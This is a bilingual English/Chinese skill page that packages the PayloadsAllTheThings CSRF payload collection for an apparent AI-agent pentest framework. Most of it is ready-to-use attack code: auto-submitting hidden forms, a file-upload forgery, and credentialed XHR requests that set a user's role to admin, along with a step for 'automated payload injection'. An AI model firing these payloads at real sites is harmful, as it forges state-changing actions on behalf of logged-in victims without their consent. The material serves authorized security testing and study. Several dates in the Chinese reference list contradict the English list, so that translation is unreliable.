payloads-csrf
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCSRF Payloads
CSRF 载荷
Source: PayloadsAllTheThings/Cross-Site Request Forgery Category:| Skill ID:payloads-webpayloads-csrf
Overview
概述
Cross-Site Request Forgery payload templates and CSRF token bypass techniques.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the CSRF Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
CSRF 载荷模板与 CSRF token 绕过技术。
此 skill 将完整的 PayloadsAllTheThings（PATT）载荷库中面向 CSRF Payloads 领域的资源集成至 REA_Skill 框架。将其用于获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战。
Workflow
工作流程
1. Recon & Identification
1. 侦察与识别
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
- 识别目标技术栈和注入点
- 枚举端点、参数和输入向量
- 根据下方参考确定适用的载荷类别
2. Payload Selection
2. 载荷选择
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
- 在 PATT 载荷库中浏览对应攻击类别的内容
- 为目标环境选择编码适配的载荷
- 考虑 WAF 绕过变体和混淆技术
3. Exploitation (Authorized Only)
3. 漏洞利用（仅限已授权场景）
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
- 按以下顺序测试载荷：被动 → 主动 → 升级利用
- 记录每一个已测试的载荷及其响应
- 捕获 PoC 证据（截图、HTTP 日志、curl 输出）
4. Verification & Reporting
4. 验证与报告
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
- 使用精简的最小化 PoC 确认漏洞
- 在适用的情况下，将发现映射到 CVE/CWE
- 报告修复建议和代码修复方案
Full PATT Reference
完整 PATT 参考
Cross-Site Request Forgery
跨站请求伪造
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
跨站请求伪造（CSRF/XSRF）是一种攻击，迫使终端用户在其当前已通过身份验证的 Web 应用程序中执行非预期操作。CSRF 攻击专门针对会改变状态的请求，而不是数据窃取，因为攻击者无法查看伪造请求的响应。——OWASP
Summary
摘要
- Tools
- Methodology
- HTML GET - Requiring User Interaction
- HTML GET - No User Interaction
- HTML POST - Requiring User Interaction
- HTML POST - AutoSubmit - No User Interaction
- HTML POST - multipart/form-data With File Upload - Requiring User Interaction
- JSON GET - Simple Request
- JSON POST - Simple Request
- JSON POST - Complex Request
- Labs
- References
Tools
工具
- 0xInfection/XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
- 0xInfection/XSRFProbe - 优秀的跨站请求伪造审计与漏洞利用工具包。
Methodology
方法
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
当你登录某个站点时，通常会拥有一个会话。该会话的标识符存储在浏览器的 Cookie 中，并随发往该站点的每个请求一同发送。即使由其他站点触发请求，Cookie 也会随请求发送，该请求也会被视为由已登录用户执行。
HTML GET - Requiring User Interaction
HTML GET - 需要用户交互
html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>HTML GET - No User Interaction
HTML GET - 无需用户交互
html
<img src="http://www.example.com/api/setusername?username=CSRFd">html
<img src="http://www.example.com/api/setusername?username=CSRFd">HTML POST - Requiring User Interaction
HTML POST - 需要用户交互
html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>HTML POST - AutoSubmit - No User Interaction
HTML POST - 自动提交 - 无需用户交互
html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>HTML POST - multipart/form-data With File Upload - Requiring User Interaction
HTML POST - multipart/form-data 包含文件上传 - 需要用户交互
html
<script>
function launch(){
const dT = new DataTransfer();
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
dT.items.add( file );
document.xss[0].files = dT.files;
document.xss.submit()
}
</script>
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>html
<script>
function launch(){
const dT = new DataTransfer();
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
dT.items.add( file );
document.xss[0].files = dT.files;
document.xss.submit()
}
</script>
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>JSON GET - Simple Request
JSON GET - 简单请求
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>JSON POST - Simple Request
JSON POST - 简单请求
With XHR :
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>With autosubmit send form, which bypasses certain browser protections such as the Standard option of Enhanced Tracking Protection in Firefox browser :
html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>使用 XHR：
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>使用自动提交表单发送请求，可以绕过某些浏览器保护机制，例如 Firefox 浏览器中 Enhanced Tracking Protection 的“标准”选项：
html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>JSON POST - Complex Request
JSON POST - 复杂请求
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>Labs
实验
- PortSwigger - CSRF vulnerability with no defenses
- PortSwigger - CSRF where token validation depends on request method
- PortSwigger - CSRF where token validation depends on token being present
- PortSwigger - CSRF where token is not tied to user session
- PortSwigger - CSRF where token is tied to non-session cookie
- PortSwigger - CSRF where token is duplicated in cookie
- PortSwigger - CSRF where Referer validation depends on header being present
- PortSwigger - CSRF with broken Referer validation
References
参考资料
- Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3, 2016
- Cross-Site Request Forgery (CSRF) - OWASP - April 19, 2024
- Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015
- Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - July 19, 2016
- Hacking PayPal Accounts with one click (Patched) - Yasser Ali - October 9, 2014
- Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015
- Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015
- How I Hacked Your Beats Account? Apple Bug Bounty - Aaditya Purani (@aaditya_purani) - July 20, 2016
- FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017
- Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15, 2018
- Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - January 9, 2019
- Cross-Site Request Forgery Attack - PwnFunction - April 5, 2019
- Wiping Out CSRF - Joe Rozner - October 17, 2017
- Bypass Referer Check Logic for CSRF - hahwul - October 11, 2019
- 跨站请求伪造速查表 - Alex Lauerman - 2016 年 4 月 3 日
- 跨站请求伪造（CSRF）- OWASP - 2024 年 4 月 19 日
- 在检查 CSRF 时展示操作步骤的 Messenger.com CSRF - Jack Whitton - 2015 年 7 月 26 日
- Paypal 漏洞赏金：未经同意更新 Paypal.me 头像（CSRF 攻击） - Florian Courtial - 2017 年 6 月 19 日
- 一键入侵 PayPal 账户（已修复） - Yasser Ali - 2014 年 10 月 9 日
- 将推文加入收藏的 CSRF - Vijay Kumar (indoappsec) - 2015 年 11 月 21 日
- Facebookmarketingdevelopers.com：代理、CSRF 困境与 API 趣事 - phwd - 2015 年 10 月 16 日
- 我是如何入侵你的 Beats 账户的？Apple 漏洞赏金 - Aaditya Purani (@aaditya_purani) - 2020 年 7 月 20 日
- FORM POST JSON：Heartbeats API 上的 JSON CSRF - Eugene Yakovchuk - 2017 年 7 月 2 日
- 利用 Oculus-Facebook 集成入侵 Facebook 账户 - Josip Franjkovic - 2018 年 1 月 15 日
- 跨站请求伪造（CSRF） - Sjoerd Langkemper - 2019 年 1 月 9 日
- 跨站请求伪造攻击 - PwnFunction - 2019 年 5 月 19 日
- 清除 CSRF - Joe Rozner - 2017 年 10 月 17 日
- 绕过 CSRF 的 Referer 检查逻辑 - hahwul - 2019 年 10 月 11 日
REA MCP Integration
REA MCP 集成
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.Legal Notice
法律声明
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 此 skill 中的所有载荷仅用于安全研究、获得书面许可的渗透测试、CTF 竞赛和防御性研究。未经授权对不属于你所有或未获得明确测试许可的系统使用，均属违法。